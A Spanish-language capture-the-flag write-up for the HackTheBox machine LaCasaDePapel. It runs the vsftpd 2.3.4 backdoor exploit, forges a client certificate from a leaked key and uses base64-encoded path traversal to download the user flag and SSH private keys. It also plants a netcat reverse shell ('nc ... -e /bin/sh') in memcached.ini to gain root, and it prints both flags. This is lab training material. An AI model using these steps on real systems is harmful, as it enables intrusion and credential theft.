---
# System prepended metadata

title: WriteUp LaCasaDePapel - HackTheBox Machine
tags: [htb, ctf, hackthebox]

---

**Realizar un escaneo de puertos con nmap**
```
$ nmap -sC -sV 10.10.10.131
```

**Vemos que la version de vsftpd es la 2.3.4 la cual esta desactualizada**
`21/tcp  open  ftp      vsftpd 2.3.4`

**Buscando en internet encontre un exploit el cual podria servir para obtener una shell**
https://github.com/In2econd/vsftpd-2.3.4-exploit

**Descargamos y utilizamos el exploit**
`$ python3 vsftpd_234_exploit.py 10.10.10.131 21 whoami`

**Como pudimos ver, el exploit nos devuelve que hay una psy shell corriendo en el puerto 6200**
```
[+] Connected to backdoor on 10.10.10.131:6200
[+] Response:
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
```

**Por lo tanto como hay una shell a la escucha, nos conectaremos a ella por medio de netcat**
`$ nc 10.10.10.131 6200`

**Una vez conectados probaremos ver que archivos hay disponibles en ese directorio**
`$ ls`

**Como podemos ver no es una shell comun ya que nos devuelve lo siguiente**
`Variables: $tokyo`

**Si ponemos $tokyo nos devuelve lo siguiente**
`=> Tokyo {#2307}`

**Por lo tanto vamos a ver que comandos podemos utilizar**
`$ help`

**Como podemos ver el comando show nos muestra el codigo de un objeto, por lo tanto veremos que hay en tokyo**
`$ show $tokyo`

**Como podemos ver en la linea 4 nos sale un archivo llamado ca.key**
`4| 	$caKey = file_get_contents('/home/nairobi/ca.key');`

**Para ver el contenido de ese archivo pondremos lo siguiente**
`$ file_get_contents('/home/nairobi/ca.key');`

**Y nos dara el contenido de ca.key, eso lo copiamos y lo guardamos en nuestra maquina local para luego generar una conexion ssl mediante el puerto 443 a la maquina (es importante borrar todos los espacios y los \n)**

**Una vez tengamos el ca.key ya guardado en nuestra maquina, procederemos a generar un certificado**
`$ openssl req -new -key ca.key -out ca.csr`

**En esta parte nos pedira un monton de datos, pero simplemente ponemos cualquier cosa**

**Luego ponemos lo siguiente**
```
$ openssl x509 -req -days 365 -in ca.csr -signkey ca.key -out ca.crt
$ openssl pkcs12 -export -in ca.crt -inkey ca.key -out server.p12
```

Una vez generado el certificado, nos generara un archivo llamado server.p12, ese archivo lo metemos en nuestro navegador para eso entramos en: `about:preferences#privacy` y le damos donde dice View Certificates, y luego vamos a Your Certificates y le damos a import y metemos el server.p12

**Una vez hecho esto, entramos por https al sitio**
https://10.10.10.131/

**Como podemos observar en la pagina principal se puede descargar archivos de video de la temporada 1 y 2**
https://10.10.10.131/?path=SEASON-1
https://10.10.10.131/?path=SEASON-2

**Si nos fijamos bien, es vulnerable a LFI**
https://10.10.10.131/?path=../../../

Pero si nos fijamos bien, no podremos descargar ningun archivo, por lo tanto hay que buscar la forma de descargar la flag de user la cual esta ubicada en (../../berlin/user.txt) si nos fijamos bien en el codigo fuente en la parte para descargar los archivos de la temporada 1 y 2 de la serie, los archivos son descargados realizando una peticion GET al archivo, el cual parece estar encodeado en base64, pero si lo decodeamos, nos dara lo siguiente:
```
URL: https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp
Base64: U0VBU09OLTEvMDEuYXZp
Decoded: SEASON-1/01.avi
```

Si probamos cambiar lo que viene despues de /file/ y ponemos la ubicacion de la flag de user en base64, y realizamos una peticion GET a la misma, la podremos descargar
```
Decoded: ../../berlin/user.txt
Base64: Li4vLi4vYmVybGluL3VzZXIudHh0
URL: https://10.10.10.131/file/Li4vLi4vYmVybGluL3VzZXIudHh0
Flag: 4dcbd172fc9c9ef2ff65c13448d9062d
```

**Ahora descargamos los archivos del ssh utilizando el mismo metodo**

https://10.10.10.131/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNhLnB1Yg==
https://10.10.10.131/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh

**Nos conectamos mediante ssh**
`$ sudo ssh -i id_rsa professor@10.10.10.131`

Como podemos ver el archivo memcached.ini es un archivo de configuracion del programa memcached
```
$ cat memcached.ini
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js
```

Por lo tanto si ponemos memcached ejecutaremos este programa
```
$ memcached
```

Lo que haremos sera intentar realizar una conexion inversa mediante netcat, para ello vamos a eliminar el memcached.ini original y crear uno nuevo con vi
```
$ rm -rf memcached.ini
$ vi memcached.ini
```

Dentro del memcached.ini vamos a poner lo siguiente, configurandolo con nuestra ip y el puerto que queramos poner a la escucha para realizar la conexion inversa
```
[program:memcached]
command = /usr/bin/nc 10.10.XX.XX 4444 -e /bin/sh
```

Luego abrimos una nueva instancia de netcat en una terminal, y la ponemos a la escucha del puerto que queramos
`$ nc -lvp 4444`

Volvemos a la conexion ssh donde editamos el memcached.ini anteriormente y ejecutamos memcached
`$ memcached`

Una vez hecho esto, ya tendremos acceso como root en la terminal que abrimos anteriormente ahora solo queda conseguir la flag de root
```
$ cat /root/root.txt
586979c48efbef5909a23750cc07f511
```



---











